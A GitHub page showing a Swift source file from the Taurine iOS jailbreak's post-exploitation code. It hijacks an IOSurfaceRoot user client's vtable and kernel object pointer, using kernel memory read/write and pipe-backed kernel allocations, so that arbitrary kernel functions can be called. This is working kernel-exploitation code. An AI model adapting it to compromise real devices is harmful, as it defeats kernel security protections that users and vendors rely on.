Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Taurine/Taurine/post-exploit/utils/kexec/kexecute.swift
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
149 lines (113 sloc)
4.6 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // kexecute.swift | |
| // Taurine | |
| // | |
| // Created by CoolStar on 3/25/21. | |
| // | |
| import Foundation | |
| class KExecute { | |
| private let electra: Electra | |
| private let kexecuteGadget: UInt64 | |
| private let port: mach_port_t | |
| private let portAddr: UInt64 | |
| private var kallocPipes: [(Int32, Int32)] = [] | |
| private let userClient: mach_port_t | |
| private let userClientPortAddr: UInt64 | |
| private let userClientAddr: UInt64 | |
| private var fakeClient = UInt64(0) | |
| private let kexecuteLock = DispatchSemaphore(value: 1) | |
| init?(electra: Electra, kexecuteGadget: UInt64, slide: UInt64) { | |
| guard !isArm64e() else { | |
| return nil | |
| } | |
| print("I'm gonna have to shoot you down!") | |
| let offsets = Offsets.shared | |
| self.electra = electra | |
| guard kexecuteGadget != slide else { | |
| return nil | |
| } | |
| self.kexecuteGadget = kexecuteGadget | |
| var ourPort = mach_port_t(MACH_PORT_NULL) | |
| guard mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &ourPort) == KERN_SUCCESS else { | |
| return nil | |
| } | |
| port = ourPort | |
| portAddr = electra.findPort(port: port) | |
| let service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")) | |
| var user_client = mach_port_t(MACH_PORT_NULL) | |
| guard IOServiceOpen(service, mach_task_self_, 0, &user_client) == KERN_SUCCESS else { | |
| mach_port_deallocate(mach_task_self_, port) | |
| return nil | |
| } | |
| self.userClient = user_client | |
| self.userClientPortAddr = electra.findPort(port: user_client) | |
| self.userClientAddr = rk64(self.userClientPortAddr + offsets.ipc_port.ip_kobject) | |
| let fakeVtable = kalloc(size: 0x1000) | |
| let fakeUserClient = kalloc(size: 0x1000) | |
| guard fakeVtable != 0, | |
| fakeUserClient != 0 else { | |
| return nil | |
| } | |
| print("Defense Matrix activated!") | |
| print(String(format: "fake vtable: 0x%llx, fake user client: 0x%llx", fakeVtable, fakeUserClient)) | |
| let realVtable = rk64(userClientAddr) | |
| for i in 0..<0x200 { | |
| let origtable = rk64(realVtable + UInt64(i * 8)) | |
| wk64(fakeVtable + UInt64(i * 8), origtable) | |
| } | |
| for i in 0..<0x200 { | |
| wk64(fakeUserClient + UInt64(i * 8), rk64(userClientAddr + UInt64(i * 8))) | |
| } | |
| wk64(fakeVtable + UInt64(8 * 0xb8), kexecuteGadget) | |
| wk64(fakeUserClient, fakeVtable) | |
| wk64(userClientPortAddr + offsets.ipc_port.ip_kobject, fakeUserClient) | |
| print("Boosters engaged.") | |
| self.fakeClient = fakeUserClient | |
| } | |
| public func kalloc(size: Int) -> UInt64 { | |
| var newPipe: [Int32] = [0, 0] | |
| guard pipe(&newPipe) != -1 else { | |
| print("pipe failed") | |
| return 0 | |
| } | |
| var buf = [UInt8](repeating: 0, count: size) | |
| write(newPipe[1], &buf, size) | |
| kallocPipes.append((newPipe[0], newPipe[1])) | |
| let offsets = Offsets.shared | |
| let proc_fd = rk64(electra.our_proc + offsets.proc.fd) | |
| let ofiles = rk64(proc_fd + offsets.filedesc.ofiles) | |
| let fproc = rk64(ofiles + UInt64(newPipe[0] * 8)) | |
| let fglob = rk64(fproc + offsets.fileproc.fglob) | |
| let rawpipe = rk64(fglob + offsets.fileglob.data) | |
| let pipeBuf = rk64ptr(rawpipe + offsets.pipe.buffer) | |
| return pipeBuf | |
| } | |
| public func kexecute(addr: UInt64, x0: UInt64 = 0, | |
| x1: UInt64 = 0, x2: UInt64 = 0, | |
| x3: UInt64 = 0, x4: UInt64 = 0, | |
| x5: UInt64 = 0, x6: UInt64 = 0) -> Int32 { | |
| kexecuteLock.wait() | |
| defer { kexecuteLock.signal() } | |
| guard fakeClient != 0 else { | |
| return 0 | |
| } | |
| let offx20 = rk64(fakeClient + 0x40) | |
| let offx28 = rk64(fakeClient + 0x48) | |
| wk64(fakeClient + 0x40, x0) | |
| wk64(fakeClient + 0x48, addr) | |
| defer { | |
| wk64(fakeClient + 0x40, offx20) | |
| wk64(fakeClient + 0x48, offx28) | |
| } | |
| return IOConnectTrap6(userClient, 0, x1, x2, x3, x4, x5, x6) | |
| } | |
| deinit { | |
| wk64(userClientPortAddr + Offsets.shared.ipc_port.ip_kobject, userClientAddr) | |
| for kallocPipe in kallocPipes { | |
| close(kallocPipe.0) | |
| close(kallocPipe.1) | |
| } | |
| IOServiceClose(userClient) | |
| mach_port_deallocate(mach_task_self_, port) | |
| } | |
| } |